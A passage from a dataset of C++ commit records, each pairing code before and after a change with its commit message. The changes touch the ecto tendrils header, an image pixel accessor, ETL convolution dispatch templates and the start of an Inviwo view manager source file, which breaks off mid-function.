prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n#pragma once\n#include <ecto\/tendril.hpp>\n#include <ecto\/spore.hpp>\n#include <boost\/thread.hpp>\n\n#include <string>\n#include <sstream>\n#include <cstring>\n#include <map>\n#include <stdexcept>\n\nnamespace ecto\n{\n \/**\n * \\brief The tendrils are a collection for the ecto::tendril class, addressable by a string key.\n *\/\n class ECTO_EXPORT tendrils : boost::noncopyable\n {\n public:\n\n typedef std::map<std::string, tendril::ptr> storage_type;\n\n typedef storage_type::iterator iterator;\n typedef storage_type::const_iterator const_iterator;\n typedef storage_type::value_type value_type;\n typedef storage_type::key_type key_type;\n typedef storage_type::size_type size_type;\n typedef storage_type::difference_type difference_type;\n typedef storage_type::key_compare key_compare;\n \n tendrils();\n\n iterator begin() { return storage.begin(); }\n const_iterator begin() const { return storage.begin(); }\n iterator end() { return storage.end(); }\n const_iterator end() const { return storage.end(); }\n\n iterator find(const std::string& name) { return storage.find(name); }\n const_iterator find(const std::string& name) const { return storage.find(name); }\n\n void clear() { storage.clear(); }\n\n size_type size() const { return storage.size(); }\n\n void erase(iterator pos) { storage.erase(pos); }\n void erase(const key_type& k) { storage.erase(k); }\n\n template <typename InputIterator>\n void \n insert(InputIterator first, InputIterator last)\n {\n storage.insert(first, last);\n }\n \n std::pair<iterator, bool> insert(const value_type &v)\n {\n return storage.insert(v);\n }\n\n key_compare key_comp() const { return storage.key_comp(); }\n \n\n \/**\n * \\brief Declare a tendril of a certain type, with only a name, no doc, or default values.\n * @tparam T the type of tendril to declare.\n * @param name The key for the tendril. Must be unique.\n * @return A typed holder for the tendril.\n *\/\n template<typename T>\n spore<T>\n declare(const std::string& name)\n {\n tendril::ptr t(make_tendril<T>());\n return declare(name, t);\n }\n\n \/**\n * @see tendrils::declare\n * @param name @see tendrils::declare\n * @param doc The doc string for the tendril.\n * @return @see tendrils::declare\n *\/\n template<typename T>\n spore<T>\n declare(const std::string& name, const std::string& doc)\n {\n return declare<T>(name).set_doc(doc);\n }\n\n \/**\n * @see tendrils::declare\n * @param name @see tendrils::declare\n * @param doc @see tendrils::declare\n * @param default_val A default value for the tendril.\n * @return @see tendrils::declare\n *\/\n template<typename T>\n spore<T>\n declare(const std::string& name, const std::string& doc, const T& default_val)\n {\n return declare<T>(name, doc).set_default_val(default_val);\n }\n\n \/**\n * Runtime declare function.\n * @param name\n * @param t\n * @return\n *\/\n tendril::ptr\n declare(const std::string& name, tendril::ptr t);\n\n\n \/**\n * \\brief get the given type that is stored at the given key. Will throw if there is a type mismatch.\n * @tparam T The compile time type to attempt to get from the tendrils.\n * @param name The key value\n * @return A const reference to the value, no copy is done.\n *\/\n \/*\n template <typename T>\n const T&\n get(const std::string& name) const\n {\n try\n {\n const_iterator iter = storage.find(name);\n if (iter == end()) \n doesnt_exist(name);\n return iter->second->get<T>();\n }catch(except::TypeMismatch& e)\n {\n e << std::string(\" Hint : \" ) + \"'\"+name+\"' is of type: \" + storage.at(name)->type_name();\n throw e;\n }\n }\n *\/\n\n \/**\n * \\brief get the given type that is stored at the given key. Will throw if there is a type mismatch.\n * @tparam T The compile time type to attempt to get from the tendrils.\n * @param name The key value\n * @return A reference to the value, no copy is done.\n *\/\n template<typename T>\n T&\n get(const std::string& name) const\n {\n try\n {\n const_iterator iter = storage.find(name);\n if (iter == end())\n doesnt_exist(name);\n return iter->second->get<T>();\n } catch (except::TypeMismatch& e)\n {\n e << std::string(\" Hint : \") + \"'\" + name + \"' is of type: \" + storage.at(name)->type_name();\n throw e;\n }\n }\n\n \/**\n * \\brief Grabs the tendril at the key.\n * @param name The key for the desired tendril.\n * @return A shared pointer to the tendril.\n * this throws if the key is not in the tendrils object\n *\/\n const tendril::ptr& operator[](const std::string& name) const;\n\n tendril::ptr& operator[](const std::string& name);\n\n \/**\n * \\brief Print the tendrils documentation string, in rst format.\n * @param out The stream to print to.\n * @param tendrils_name The name used as a label, for the tendrils.\n *\/\n void\n print_doc(std::ostream& out, const std::string& tendrils_name) const;\n\n typedef boost::shared_ptr<tendrils> ptr;\n typedef boost::shared_ptr<const tendrils> const_ptr;\n\n private:\n\n void doesnt_exist(const std::string& name) const;\n\n storage_type storage;\n\n mutable boost::mutex mtx;\n\n tendrils(const tendrils&);\n\n };\n}\n<commit_msg>Remove cruft from tendrils.hpp.<commit_after>\/*\n * Copyright (c) 2011, Willow Garage, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n#pragma once\n#include <ecto\/tendril.hpp>\n#include <ecto\/spore.hpp>\n#include <boost\/thread.hpp>\n\n#include <string>\n#include <sstream>\n#include <cstring>\n#include <map>\n#include <stdexcept>\n\nnamespace ecto\n{\n \/**\n * \\brief The tendrils are a collection for the ecto::tendril class, addressable by a string key.\n *\/\n class ECTO_EXPORT tendrils : boost::noncopyable\n {\n public:\n\n typedef std::map<std::string, tendril::ptr> storage_type;\n\n typedef storage_type::iterator iterator;\n typedef storage_type::const_iterator const_iterator;\n typedef storage_type::value_type value_type;\n typedef storage_type::key_type key_type;\n typedef storage_type::size_type size_type;\n typedef storage_type::difference_type difference_type;\n typedef storage_type::key_compare key_compare;\n \n tendrils();\n\n iterator begin() { return storage.begin(); }\n const_iterator begin() const { return storage.begin(); }\n iterator end() { return storage.end(); }\n const_iterator end() const { return storage.end(); }\n\n iterator find(const std::string& name) { return storage.find(name); }\n const_iterator find(const std::string& name) const { return storage.find(name); }\n\n void clear() { storage.clear(); }\n\n size_type size() const { return storage.size(); }\n\n void erase(iterator pos) { storage.erase(pos); }\n void erase(const key_type& k) { storage.erase(k); }\n\n template <typename InputIterator>\n void \n insert(InputIterator first, InputIterator last)\n {\n storage.insert(first, last);\n }\n \n std::pair<iterator, bool> insert(const value_type &v)\n {\n return storage.insert(v);\n }\n\n key_compare key_comp() const { return storage.key_comp(); }\n \n\n \/**\n * \\brief Declare a tendril of a certain type, with only a name, no doc, or default values.\n * @tparam T the type of tendril to declare.\n * @param name The key for the tendril. Must be unique.\n * @return A typed holder for the tendril.\n *\/\n template<typename T>\n spore<T>\n declare(const std::string& name)\n {\n tendril::ptr t(make_tendril<T>());\n return declare(name, t);\n }\n\n \/**\n * @see tendrils::declare\n * @param name @see tendrils::declare\n * @param doc The doc string for the tendril.\n * @return @see tendrils::declare\n *\/\n template<typename T>\n spore<T>\n declare(const std::string& name, const std::string& doc)\n {\n return declare<T>(name).set_doc(doc);\n }\n\n \/**\n * @see tendrils::declare\n * @param name @see tendrils::declare\n * @param doc @see tendrils::declare\n * @param default_val A default value for the tendril.\n * @return @see tendrils::declare\n *\/\n template<typename T>\n spore<T>\n declare(const std::string& name, const std::string& doc, const T& default_val)\n {\n return declare<T>(name, doc).set_default_val(default_val);\n }\n\n \/**\n * Runtime declare function.\n * @param name\n * @param t\n * @return\n *\/\n tendril::ptr\n declare(const std::string& name, tendril::ptr t);\n\n \/**\n * \\brief get the given type that is stored at the given key. Will throw if there is a type mismatch.\n * @tparam T The compile time type to attempt to get from the tendrils.\n * @param name The key value\n * @return A reference to the value, no copy is done.\n *\/\n template<typename T>\n T&\n get(const std::string& name) const\n {\n try\n {\n const_iterator iter = storage.find(name);\n if (iter == end())\n doesnt_exist(name);\n return iter->second->get<T>();\n } catch (except::TypeMismatch& e)\n {\n e << std::string(\" Hint : \") + \"'\" + name + \"' is of type: \" + storage.at(name)->type_name();\n throw e;\n }\n }\n\n \/**\n * \\brief Grabs the tendril at the key.\n * @param name The key for the desired tendril.\n * @return A shared pointer to the tendril.\n * this throws if the key is not in the tendrils object\n *\/\n const tendril::ptr& operator[](const std::string& name) const;\n\n tendril::ptr& operator[](const std::string& name);\n\n \/**\n * \\brief Print the tendrils documentation string, in rst format.\n * @param out The stream to print to.\n * @param tendrils_name The name used as a label, for the tendrils.\n *\/\n void\n print_doc(std::ostream& out, const std::string& tendrils_name) const;\n\n typedef boost::shared_ptr<tendrils> ptr;\n typedef boost::shared_ptr<const tendrils> const_ptr;\n\n private:\n\n void doesnt_exist(const std::string& name) const;\n\n storage_type storage;\n\n mutable boost::mutex mtx;\n\n tendrils(const tendrils&);\n\n };\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"ImageWriter.h\"\n\nuint32 ImageWriter::GetChannelForPixel(uint32 x, uint32 y, uint32 ch) {\n\tuint32 bytesPerRow = GetWidth() * 4;\n\tuint32 byteLocation = y * bytesPerRow + x*4 + ch;\n\treturn m_PixelData[byteLocation];\n}\n<commit_msg>Make sure that we assume pixels are in block stream order when accessing.<commit_after>#include \"ImageWriter.h\"\n\nuint32 ImageWriter::GetChannelForPixel(uint32 x, uint32 y, uint32 ch) {\n\n \/\/ Assume pixels are in block stream order, hence we would need to first find\n \/\/ the block that contains pixel (x, y) and then find the byte location for it.\n\n const uint32 blocksPerRow = GetWidth() \/ 4;\n const uint32 blockIdxX = x \/ 4;\n const uint32 blockIdxY = y \/ 4;\n const uint32 blockIdx = blockIdxY * blocksPerRow + blockIdxX;\n\n \/\/ Now we find the offset in the block\n const uint32 blockOffsetX = x % 4;\n const uint32 blockOffsetY = y % 4;\n const uint32 pixelOffset = blockOffsetY * 4 + blockOffsetX;\n\n \/\/ There are 16 pixels per block and bytes per pixel...\n uint32 dataOffset = blockIdx * 4 * 16;\n dataOffset += 4 * pixelOffset;\n dataOffset += ch;\n\n return m_PixelData[dataOffset];\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2015 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\n#include <algorithm>\n\n\/\/Include the implementations\n#include \"etl\/impl\/std\/conv.hpp\"\n#include \"etl\/impl\/sse\/conv.hpp\"\n#include \"etl\/impl\/avx\/conv.hpp\"\n#include \"etl\/impl\/reduc\/conv_mmul.hpp\"\n\nnamespace etl {\n\nenum class conv_type {\n VALID,\n SAME,\n FULL\n};\n\nnamespace detail {\n\nenum class conv_impl {\n STD,\n SSE,\n AVX\n};\n\ntemplate<bool DMA, typename T>\ninline cpp14_constexpr conv_impl select_conv_impl(){\n \/\/Only std implementation is able to handle non-dma expressions\n if(!DMA){\n return conv_impl::STD;\n }\n\n \/\/Note since these boolean will be known at compile time, the conditions will be a lot simplified\n auto sse = vectorize_impl && vector_mode == vector_mode_t::SSE3;\n auto avx = vectorize_impl && vector_mode == vector_mode_t::AVX;\n\n if(avx){\n return conv_impl::AVX;\n } else if(sse){\n return conv_impl::SSE;\n } else {\n return conv_impl::STD;\n }\n}\n\ntemplate<typename I, typename K, typename C>\nstruct conv1_full_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<all_dma<I,K,C>::value, value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv1_full(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv1_full(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv1_full(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv1_same_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<all_dma<I,K,C>::value, value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv1_same(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv1_same(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv1_same(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv1_valid_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<all_dma<I,K,C>::value, value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv1_valid(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv1_valid(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv1_valid(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv2_full_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<all_dma<I,K,C>::value, value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv2_full(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv2_full(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv2_full(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv2_same_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<all_dma<I,K,C>::value, value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv2_same(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv2_same(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv2_same(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv2_valid_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<all_dma<I,K,C>::value, value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv2_valid(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv2_valid(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv2_valid(input, kernel, conv);\n }\n }\n};\n\ntemplate<conv_type TT, typename I, typename K, typename C>\nstruct conv_deep_impl {\n template<conv_type TT2 = TT, typename I2 = I, cpp_enable_if(decay_traits<I2>::dimensions() == 3 && TT2 == conv_type::FULL)>\n static void apply(const I& input, const K& kernel, C&& conv){\n for(std::size_t i = 0; i < dim<0>(input); ++i){\n conv(i) = conv_2d_full(input(i), kernel(i));\n }\n }\n\n template<conv_type TT2 = TT, typename I2 = I, cpp_enable_if(decay_traits<I2>::dimensions() == 3 && TT2 == conv_type::SAME)>\n static void apply(const I& input, const K& kernel, C&& conv){\n for(std::size_t i = 0; i < dim<0>(input); ++i){\n conv(i) = conv_2d_same(input(i), kernel(i));\n }\n }\n\n template<conv_type TT2 = TT, typename I2 = I, cpp_enable_if(decay_traits<I2>::dimensions() == 3 && TT2 == conv_type::VALID)>\n static void apply(const I& input, const K& kernel, C&& conv){\n for(std::size_t i = 0; i < dim<0>(input); ++i){\n conv(i) = conv_2d_valid(input(i), kernel(i));\n }\n }\n\n template<typename I2 = I, cpp_enable_if((decay_traits<I2>::dimensions() > 3))>\n static void apply(const I& input, const K& kernel, C&& conv){\n for(std::size_t i = 0; i < dim<0>(input); ++i){\n conv_deep_impl<TT, decltype(input(i)), decltype(kernel(i)), decltype(conv(i))>::apply(input(i), kernel(i), conv(i));\n }\n }\n};\n\ntemplate<typename I, typename K, typename C>\nusing conv_deep_valid_impl = conv_deep_impl<conv_type::VALID, I, K, C>;\n\ntemplate<typename I, typename K, typename C>\nusing conv_deep_same_impl = conv_deep_impl<conv_type::SAME, I, K, C>;\n\ntemplate<typename I, typename K, typename C>\nusing conv_deep_full_impl = conv_deep_impl<conv_type::FULL, I, K, C>;\n\n} \/\/end of namespace detail\n\n} \/\/end of namespace etl\n<commit_msg>Review DMA for conv<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2015 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\n#include <algorithm>\n\n\/\/Include the implementations\n#include \"etl\/impl\/std\/conv.hpp\"\n#include \"etl\/impl\/sse\/conv.hpp\"\n#include \"etl\/impl\/avx\/conv.hpp\"\n#include \"etl\/impl\/reduc\/conv_mmul.hpp\"\n\nnamespace etl {\n\nenum class conv_type {\n VALID,\n SAME,\n FULL\n};\n\nnamespace detail {\n\nenum class conv_impl {\n STD,\n SSE,\n AVX\n};\n\ntemplate<typename T>\ninline cpp14_constexpr conv_impl select_conv_impl(){\n \/\/Note since these boolean will be known at compile time, the conditions will be a lot simplified\n constexpr const bool sse = vectorize_impl && vector_mode == vector_mode_t::SSE3;\n constexpr const bool avx = vectorize_impl && vector_mode == vector_mode_t::AVX;\n\n if(avx){\n return conv_impl::AVX;\n } else if(sse){\n return conv_impl::SSE;\n } else {\n return conv_impl::STD;\n }\n}\n\ntemplate<typename I, typename K, typename C, typename Enable = void>\nstruct conv1_full_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv1_full(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv1_full(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv1_full(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C, typename Enable = void>\nstruct conv1_same_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv1_same(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv1_same(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv1_same(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C, typename Enable = void>\nstruct conv1_valid_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv1_valid(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv1_valid(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv1_valid(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C, typename Enable = void>\nstruct conv2_full_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv2_full(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv2_full(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv2_full(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C, typename Enable = void>\nstruct conv2_same_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv2_same(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv2_same(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv2_same(input, kernel, conv);\n }\n }\n};\n\ntemplate<typename I, typename K, typename C, typename Enable = void>\nstruct conv2_valid_impl {\n static void apply(const I& input, const K& kernel, C&& conv){\n auto impl = select_conv_impl<value_t<I>>();\n\n if(impl == conv_impl::AVX){\n impl::avx::conv2_valid(input, kernel, conv);\n } else if(impl == conv_impl::SSE){\n impl::sse::conv2_valid(input, kernel, conv);\n } else if(impl == conv_impl::STD){\n impl::standard::conv2_valid(input, kernel, conv);\n }\n }\n};\n\ntemplate<conv_type TT, typename I, typename K, typename C, typename Enable = void>\nstruct conv_deep_impl {\n template<conv_type TT2 = TT, typename I2 = I, cpp_enable_if(decay_traits<I2>::dimensions() == 3 && TT2 == conv_type::FULL)>\n static void apply(const I& input, const K& kernel, C&& conv){\n for(std::size_t i = 0; i < dim<0>(input); ++i){\n conv(i) = conv_2d_full(input(i), kernel(i));\n }\n }\n\n template<conv_type TT2 = TT, typename I2 = I, cpp_enable_if(decay_traits<I2>::dimensions() == 3 && TT2 == conv_type::SAME)>\n static void apply(const I& input, const K& kernel, C&& conv){\n for(std::size_t i = 0; i < dim<0>(input); ++i){\n conv(i) = conv_2d_same(input(i), kernel(i));\n }\n }\n\n template<conv_type TT2 = TT, typename I2 = I, cpp_enable_if(decay_traits<I2>::dimensions() == 3 && TT2 == conv_type::VALID)>\n static void apply(const I& input, const K& kernel, C&& conv){\n for(std::size_t i = 0; i < dim<0>(input); ++i){\n conv(i) = conv_2d_valid(input(i), kernel(i));\n }\n }\n\n template<typename I2 = I, cpp_enable_if((decay_traits<I2>::dimensions() > 3))>\n static void apply(const I& input, const K& kernel, C&& conv){\n for(std::size_t i = 0; i < dim<0>(input); ++i){\n conv_deep_impl<TT, decltype(input(i)), decltype(kernel(i)), decltype(conv(i))>::apply(input(i), kernel(i), conv(i));\n }\n }\n};\n\ntemplate<typename I, typename K, typename C>\nusing conv_deep_valid_impl = conv_deep_impl<conv_type::VALID, I, K, C>;\n\ntemplate<typename I, typename K, typename C>\nusing conv_deep_same_impl = conv_deep_impl<conv_type::SAME, I, K, C>;\n\ntemplate<typename I, typename K, typename C>\nusing conv_deep_full_impl = conv_deep_impl<conv_type::FULL, I, K, C>;\n\n\/\/The following partial specializations are here to ensure compilation\n\/\/(and avoid using static_if\/SFINAE at higher level)\n\ntemplate<typename I, typename K, typename C>\nstruct conv1_full_impl<I, K, C, std::enable_if_t<!all_dma<I,K,C>::value>> {\n static void apply(const I& \/*input*\/, const K& \/*kernel*\/, C&& \/*conv*\/){\n cpp_unreachable(\"Should never be reached\");\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv1_valid_impl<I, K, C, std::enable_if_t<!all_dma<I,K,C>::value>> {\n static void apply(const I& \/*input*\/, const K& \/*kernel*\/, C&& \/*conv*\/){\n cpp_unreachable(\"Should never be reached\");\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv1_same_impl<I, K, C, std::enable_if_t<!all_dma<I,K,C>::value>> {\n static void apply(const I& \/*input*\/, const K& \/*kernel*\/, C&& \/*conv*\/){\n cpp_unreachable(\"Should never be reached\");\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv2_full_impl<I, K, C, std::enable_if_t<!all_dma<I,K,C>::value>> {\n static void apply(const I& \/*input*\/, const K& \/*kernel*\/, C&& \/*conv*\/){\n cpp_unreachable(\"Should never be reached\");\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv2_valid_impl<I, K, C, std::enable_if_t<!all_dma<I,K,C>::value>> {\n static void apply(const I& \/*input*\/, const K& \/*kernel*\/, C&& \/*conv*\/){\n cpp_unreachable(\"Should never be reached\");\n }\n};\n\ntemplate<typename I, typename K, typename C>\nstruct conv2_same_impl<I, K, C, std::enable_if_t<!all_dma<I,K,C>::value>> {\n static void apply(const I& \/*input*\/, const K& \/*kernel*\/, C&& \/*conv*\/){\n cpp_unreachable(\"Should never be reached\");\n }\n};\n\ntemplate<conv_type TT, typename I, typename K, typename C>\nstruct conv_deep_impl<TT, I, K, C, std::enable_if_t<!all_dma<I,K,C>::value>> {\n static void apply(const I& \/*input*\/, const K& \/*kernel*\/, C&& \/*conv*\/){\n cpp_unreachable(\"Should never be reached\");\n }\n};\n\n} \/\/end of namespace detail\n\n} \/\/end of namespace etl\n<|endoftext|>"} {"text":"<commit_before>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2012-2019 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <modules\/basegl\/viewmanager.h>\n#include <inviwo\/core\/interaction\/events\/mouseevent.h>\n#include <inviwo\/core\/interaction\/events\/gestureevent.h>\n#include <inviwo\/core\/interaction\/events\/touchevent.h>\n#include <inviwo\/core\/interaction\/events\/wheelevent.h>\n#include <inviwo\/core\/interaction\/events\/pickingevent.h>\n\n#include <inviwo\/core\/util\/exception.h>\n\nnamespace inviwo {\n\nViewManager::ViewManager() = default;\n\nbool ViewManager::propagatePickingEvent(PickingEvent* pe, Propagator propagator) {\n\n auto prop = [&](Event* newEvent, size_t ind) {\n if (newEvent) {\n auto pressPos = pe->getPressedPosition();\n auto previousPos = pe->getPreviousPosition();\n\n auto offset = dvec2(views_[ind].pos) \/ dvec2(pe->getCanvasSize() - uvec2(1));\n auto scale = dvec2(pe->getCanvasSize() - uvec2(1)) \/ dvec2(views_[ind].size - ivec2(1));\n\n auto pressNDC = dvec3(2.0 * scale * (pressPos - offset) - 1.0, pe->getPressedDepth());\n auto previousNDC =\n dvec3(2.0 * scale * (previousPos - offset) - 1.0, pe->getPreviousDepth());\n\n PickingEvent newPe(pe->getPickingAction(), static_cast<InteractionEvent*>(newEvent),\n pe->getState(), pe->getPressState(), pe->getPressItem(),\n pe->getHoverState(), pe->getPressItems(), pe->getGlobalPickingId(),\n pe->getCurrentGlobalPickingId(), pe->getPressedGlobalPickingId(),\n pe->getPreviousGlobalPickingId(), pressNDC, previousNDC);\n\n propagator(&newPe, ind);\n if (newPe.hasBeenUsed()) newEvent->markAsUsed();\n for (auto p : newPe.getVisitedProcessors()) newEvent->markAsVisited(p);\n }\n };\n\n auto e = pe->getEvent();\n bool propagated = false;\n switch (e->hash()) {\n case MouseEvent::chash():\n propagated = propagateMouseEvent(static_cast<MouseEvent*>(e), prop);\n break;\n case WheelEvent::chash():\n propagated = propagateWheelEvent(static_cast<WheelEvent*>(e), prop);\n break;\n case GestureEvent::chash():\n propagated = propagateGestureEvent(static_cast<GestureEvent*>(e), prop);\n break;\n case TouchEvent::chash():\n propagated = propagateTouchEvent(static_cast<TouchEvent*>(e), prop);\n break;\n default:\n propagated = false;\n break;\n }\n if (e->hasBeenUsed()) pe->markAsUsed();\n for (auto p : e->getVisitedProcessors()) pe->markAsVisited(p);\n\n return propagated;\n}\n\nbool ViewManager::propagateMouseEvent(MouseEvent* me, Propagator propagator) {\n selectedView_ = eventState_.getView(*this, me);\n\n if (selectedView_.first && selectedView_.second < views_.size()) {\n MouseEvent newEvent(*me);\n newEvent.setCanvasSize(uvec2(views_[selectedView_.second].size));\n auto offset = dvec2(views_[selectedView_.second].pos) \/ dvec2(me->canvasSize() - uvec2(1));\n auto scale 